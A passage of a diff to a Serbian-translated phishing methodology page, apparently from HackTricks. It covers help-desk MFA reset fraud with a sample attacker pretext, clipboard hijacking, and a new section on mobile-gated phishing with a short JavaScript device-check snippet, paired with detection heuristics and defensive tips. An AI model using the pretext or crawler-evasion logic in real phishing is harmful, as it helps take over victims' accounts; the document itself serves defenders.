Reset +Pored klasičnog push-bombinga, operatori jednostavno **prisile novu MFA registraciju** tokom help-desk poziva, poništavajući korisnikov postojeći token. Bilo koji naredni login prompt izgleda legitimno žrtvi. ```text [Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?” [Help-Desk] → AzureAD: ‘Delete existing methods’ → sends registration e-mail [Attacker] → Completes new TOTP enrolment on their own device ``` -Monitor for AzureAD/AWS/Okta events where **`deleteMFA` + `addMFA`** occur **within minutes from the same IP**. +Pratite AzureAD/AWS/Okta događaje gde **`deleteMFA` + `addMFA`** dogode **u roku od nekoliko minuta sa iste IP adrese**. + + ## Clipboard Hijacking / Pastejacking -Napadači mogu neprimetno kopirati zlonamerne komande u clipboard žrtve sa kompromitovane ili typosquatted web stranice i zatim prevariti korisnika da ih zalepi u **Win + R**, **Win + X** ili u prozor terminala, čime se izvršava proizvoljni kod bez ikakvog preuzimanja ili priloga. +Napadači mogu tiho kopirati zlonamerne komande u clipboard žrtve sa kompromitovane ili typosquatted web stranice, a zatim prevariti korisnika da ih nalepi u **Win + R**, **Win + X** ili terminal prozor, izvršavajući arbitrarni kod bez ikakvog preuzimanja ili priloga. {{#ref}} @@ -551,6 +553,33 @@ clipboard-hijacking.md mobile-phishing-malicious-apps.md {{#endref}} +### Mobile‑gated phishing to evade crawlers/sandboxes +Operatori sve češće stavljaju svoje phishing flows iza jednostavne provere uređaja tako da desktop crawleri nikada ne dođu do krajnjih stranica. Uobičajen obrazac je mali skript koji testira touch-capable DOM i šalje rezultat na server endpoint; non‑mobile klijenti dobijaju HTTP 500 (ili praznu stranicu), dok mobile korisnici dobijaju ceo flow. + +Minimal client snippet (typical logic): +```html + +``` +`detect_device.js` logika (pojednostavljeno): +```javascript +const isMobile = ('ontouchstart' in document.documentElement); +fetch('/detect', {method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({is_mobile:isMobile})}) +.then(()=>location.reload()); +``` +Često zapaženo ponašanje servera: +- Postavlja session cookie tokom prvog učitavanja. +- Prihvata `POST /detect {"is_mobile":true|false}`. +- Vraća 500 (ili placeholder) na naredne GET zahteve kada je `is_mobile=false`; prikazuje phishing samo ako je `true`. + +Heuristike za otkrivanje i detekciju: +- urlscan upit: `filename:"detect_device.js" AND page.status:500` +- Web telemetrija: sekvenca `GET /static/detect_device.js` → `POST /detect` → HTTP 500 za ne-mobilne uređaje; legitimne putanje mobilnih žrtava vraćaju 200 sa narednim HTML/JS. +- Blokirajte ili detaljno proverite stranice koje uslovljavaju sadržaj isključivo na `ontouchstart` ili sličnim proverama uređaja. + +Saveti za odbranu: +- Pokrenite crawlers sa mobile-like fingerprints i omogućite JS da otkrijete gated content. +- Postavite alarm za sumnjive 500 odgovore koji slede nakon `POST /detect` na novoregistrovanim domenima. + ## References - [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/) @@ -558,5 +587,6 @@ mobile-phishing-malicious-apps.md - [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/) - [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) - [2025 Unit 42 Global Incident Response Report – Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/) +- [Silent Smishing – mobile-gated phishing infra and heuristics (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/) {{#include ../../banners/hacktricks-training.md}}